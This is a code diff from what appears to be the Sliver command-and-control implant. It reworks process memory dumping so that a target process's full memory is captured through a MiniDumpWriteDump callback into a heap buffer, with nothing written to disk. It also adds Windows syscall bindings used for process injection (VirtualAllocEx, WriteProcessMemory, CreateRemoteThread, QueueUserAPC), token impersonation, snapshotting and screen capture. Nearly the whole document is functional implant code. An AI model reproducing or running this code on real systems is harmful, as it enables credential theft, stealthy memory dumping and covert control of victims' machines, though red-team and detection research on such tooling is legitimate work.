err = windows.DuplicateHandle(hProc, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
log.Println("DuplicateHandle failed")
// {{end}}
return res, err
}
if hProc != 0 {
return minidump(uint32(pid), lpTargetHandle)
}
return res, fmt.Errorf("{{if .Config.Debug}}Could not dump process memory{{end}}")
}
func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
@@ -80,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
}
// {{end}}
// {{end}}
// TODO: find a better place to store the dump file
f, err := ioutil.TempFile("", "")
heapHandle, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Println("Failed to create temp file:", err)
//{{end}}
return dump, err
}
procMemCounters := syscalls.ProcessMemoryCounters{}
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
if err != nil {
// {{if .Config.Debug}}
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
// {{end}}
return dump, err
}
heapSize := procMemCounters.WorkingSetSize + IncrementSize
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
if err != nil {
return dump, err
}
stdOutHandle := f.Fd()
err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
if err == nil {
data, err := ioutil.ReadFile(f.Name())
dump.data = data
if err != nil {
//{{if .Config.Debug}}
log.Println("ReadFile failed:", err)
//{{end}}
return dump, err
}
os.Remove(f.Name())
} else {
outData := outDump{
outPtr: dumpBuffer,
}
callbackInfo := MiniDumpCallbackInformation{
CallbackRoutine: windows.NewCallback(minidumpCallback),
CallbackParam: uintptr(unsafe.Pointer(&outData)),
}
err = syscalls.MiniDumpWriteDump(
proc,
pid,
0,
MiniDumpWithFullMemory,
0,
0,
uintptr(unsafe.Pointer(&callbackInfo)),
)
if err != nil {
//{{if .Config.Debug}}
log.Println("Minidump syscall failed:", err)
//{{end}}
return dump, err
}
outBuff := make([]byte, bytesRead)
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("HeapFree failed: \n", err)
// {{end}}
return dump, err
}
dump.data = outBuff
return dump, nil
}
type MiniDumpIOCallback struct {
Handle uintptr
Offset uint64
Buffer uintptr
BufferBytes uint32
}
type MiniDumpCallbackInput struct {
ProcessId uint32
ProcessHandle uintptr
CallbackType uint32
Io MiniDumpIOCallback
}
type MiniDumpCallbackOutput struct {
Status int32
}
type MiniDumpCallbackInformation struct {
CallbackRoutine uintptr
CallbackParam uintptr
}
func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
callbackInput := MiniDumpCallbackInput{}
ioCallback := MiniDumpIOCallback{}
bufferSize := unsafe.Sizeof(callbackInput)
data := make([]byte, bufferSize)
dataPtr := uintptr(unsafe.Pointer(&data[0]))
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
buffReader := bytes.NewReader(data)
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
if err != nil {
return nil, err
}
var procHandle uint64
err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
if err != nil {
return nil, err
}
callbackInput.ProcessHandle = uintptr(procHandle)
err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
if err != nil {
return nil, err
}
var ioHandle uint64
err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
if err != nil {
return nil, err
}
ioCallback.Handle = uintptr(ioHandle)
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
if err != nil {
return nil, err
}
var ioBuffer uint64
err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
if err != nil {
return nil, err
}
ioCallback.Buffer = uintptr(ioBuffer)
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
if err != nil {
return nil, err
}
callbackInput.Io = ioCallback
return &callbackInput, nil
}
func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
callbackInput, err := getCallbackInput(callbackInputPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("getCallbackInput failed: %s\n", err.Error())
// {{end}}
return FALSE
}
switch callbackInput.CallbackType {
case IoStartCallback:
callbackOutput.Status = S_FALSE
case IoWriteAllCallback:
callbackOutput.Status = S_OK
outData := (*outDump)(unsafe.Pointer(callbackParam))
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
// {{end}}
return FALSE
}
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
// {{end}}
return FALSE
}
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
if bytesAndOffset >= uint64(currentBuffSize) {
increasedSize := IncrementSize
if bytesAndOffset <= uint64(currentBuffSize*2) {
increasedSize = int(currentBuffSize) * 2
} else {
increasedSize += int(bytesAndOffset)
}
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
// {{end}}
return FALSE
}
}
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
bytesRead += callbackInput.Io.BufferBytes
case IoFinishCallback:
callbackOutput.Status = S_OK
default:
return TRUE
}
return TRUE
}
+1 -1
View File
@@ -52,7 +52,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/version"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
// {{if .Config.IsService}}
"golang.org/x/sys/windows/svc"
@@ -5,6 +5,8 @@ package syscalls
//sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
//sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
//sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
@@ -35,3 +37,9 @@ package syscalls
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
+50
View File
@@ -5,6 +5,40 @@ import (
)
const (
PSS_CAPTURE_NONE = iota
PSS_CAPTURE_VA_CLONE
PSS_CAPTURE_RESERVED_00000002
PSS_CAPTURE_HANDLES
PSS_CAPTURE_HANDLE_NAME_INFORMATION
PSS_CAPTURE_HANDLE_BASIC_INFORMATION
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
PSS_CAPTURE_HANDLE_TRACE
PSS_CAPTURE_THREADS
PSS_CAPTURE_THREAD_CONTEXT
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
PSS_CAPTURE_RESERVED_00000400
PSS_CAPTURE_VA_SPACE
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
PSS_CAPTURE_IPT_TRACE
PSS_CAPTURE_RESERVED_00004000
PSS_CREATE_BREAKAWAY_OPTIONAL
PSS_CREATE_BREAKAWAY
PSS_CREATE_FORCE_BREAKAWAY
PSS_CREATE_USE_VM_ALLOCATIONS
PSS_CREATE_MEASURE_PERFORMANCE
PSS_CREATE_RELEASE_SECTION
CONTEXT_i386 = 0x10000
CONTEXT_i486 = 0x10000 // same as i386
CONTEXT_CONTROL = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
CONTEXT_INTEGER = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0 // DS, ES, FS, GS
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08 // 387 state
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10 // DB 0-3,6,7
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
LOGON32_LOGON_INTERACTIVE = 2
LOGON32_LOGON_NETWORK = 3
@@ -18,6 +52,9 @@ const (
LOGON32_PROVIDER_WINNT35 = 1
LOGON32_PROVIDER_WINNT40 = 2
LOGON32_PROVIDER_WINNT50 = 3
PROCESS_DUP_HANDLE = 0x0040
DUPLICATE_SAME_ACCESS = 0x00000002
STILL_ACTIVE = 259
)
type StartupInfoEx struct {
@@ -81,6 +118,19 @@ type MONITORINFO struct {
DwFlags uint32
}
type ProcessMemoryCounters struct {
Cb uint32
PageFaultCount uint32
PeakWorkingSetSize int
WorkingSetSize int
QuotaPeakPagedPoolUsage int
QuotaPagedPoolUsage int
QuotaPeakNonPagedPoolUsage int
QuotaNonPagedPoolUsage int
PagefileUsage int
PeakPagefileUsage int
}
const (
CCHDEVICENAME = 32
CCHFORMNAME = 32
+288 -327
View File
@@ -19,6 +19,7 @@ const (
var (
errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
errERROR_EINVAL error = syscall.EINVAL
)
// errnoErr returns common boxed Errno values, to prevent
@@ -26,7 +27,7 @@ var (
func errnoErr(e syscall.Errno) error {
switch e {
case 0:
return nil
return errERROR_EINVAL
case errnoERROR_IO_PENDING:
return errERROR_IO_PENDING
}
@@ -37,92 +38,235 @@ func errnoErr(e syscall.Errno) error {
}
var (
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
modDbgHelp = windows.NewLazySystemDLL("DbgHelp.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modUser32 = windows.NewLazySystemDLL("User32.dll")
modGdi32 = windows.NewLazySystemDLL("Gdi32.dll")
modKernel32 = windows.NewLazySystemDLL("Kernel32.dll")
modUser32 = windows.NewLazySystemDLL("User32.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
modntdll = windows.NewLazySystemDLL("ntdll.dll")
modpsapi = windows.NewLazySystemDLL("psapi.dll")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
procHeapFree = modkernel32.NewProc("HeapFree")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procGetDC = modUser32.NewProc("GetDC")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procDeleteDC = modGdi32.NewProc("DeleteDC")
procBitBlt = modGdi32.NewProc("BitBlt")
procCreateCompatibleBitmap = modGdi32.NewProc("CreateCompatibleBitmap")
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
procDeleteDC = modGdi32.NewProc("DeleteDC")
procDeleteObject = modGdi32.NewProc("DeleteObject")
procGetDIBits = modGdi32.NewProc("GetDIBits")
procSelectObject = modGdi32.NewProc("SelectObject")
procGlobalAlloc = modKernel32.NewProc("GlobalAlloc")
procGlobalFree = modKernel32.NewProc("GlobalFree")
procGlobalLock = modKernel32.NewProc("GlobalLock")
procGlobalUnlock = modKernel32.NewProc("GlobalUnlock")
procSelectObject = modGdi32.NewProc("SelectObject")
procBitBlt = modGdi32.NewProc("BitBlt")
procGetDIBits = modGdi32.NewProc("GetDIBits")
procGetDC = modUser32.NewProc("GetDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procHeapFree = modkernel32.NewProc("HeapFree")
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
procHeapSize = modkernel32.NewProc("HeapSize")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procRtlCopyMemory = modntdll.NewProc("RtlCopyMemory")
procGetProcessMemoryInfo = modpsapi.NewProc("GetProcessMemoryInfo")
)
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func GetProcessHeap() (procHeap windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
procHeap = windows.Handle(r0)
if procHeap == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
BOOL = int(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
lpMem = uintptr(r0)
if lpMem == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
HBITMAP = windows.Handle(r0)
if HBITMAP == 0 {
err = errnoErr(e1)
}
return
}
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
err = errnoErr(e1)
}
return
}
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
ret = int(r0)
if ret == 0 {
err = errnoErr(e1)
}
return
}
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
HGDIOBJ = windows.Handle(r0)
if HGDIOBJ == 0 {
err = errnoErr(e1)
}
return
}
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
err = errnoErr(e1)
}
return
}
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
err = errnoErr(e1)
}
return
}
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
LPVOID = uintptr(r0)
if LPVOID == 0 {
err = errnoErr(e1)
}
return
}
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
err = errnoErr(e1)
}
return
}
func GetDesktopWindow() (HWND windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
HWND = windows.Handle(r0)
if HWND == 0 {
err = errnoErr(e1)
}
return
}
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
int = uint32(r0)
if int == 0 {
err = errnoErr(e1)
}
return
}
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _LookupPrivilegeDisplayNameW(_p0, privilegeName, buffer, size, languageId)
}
func _LookupPrivilegeDisplayNameW(systemName *uint16, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(privilegeName)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _LookupPrivilegeNameW(_p0, luid, buffer, size)
}
func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
@@ -131,65 +275,28 @@ func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.S
var _p0 uint32
if inheritHandles {
_p0 = 1
} else {
_p0 = 0
}
r1, _, e1 := syscall.Syscall12(procCreateProcessW.Addr(), 10, uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(unsafe.Pointer(procSecurity)), uintptr(unsafe.Pointer(threadSecurity)), uintptr(_p0), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
addr = uintptr(r0)
if addr == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
err = errnoErr(e1)
}
return
}
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
err = errnoErr(e1)
}
return
}
@@ -199,270 +306,124 @@ func DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST)
return
}
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
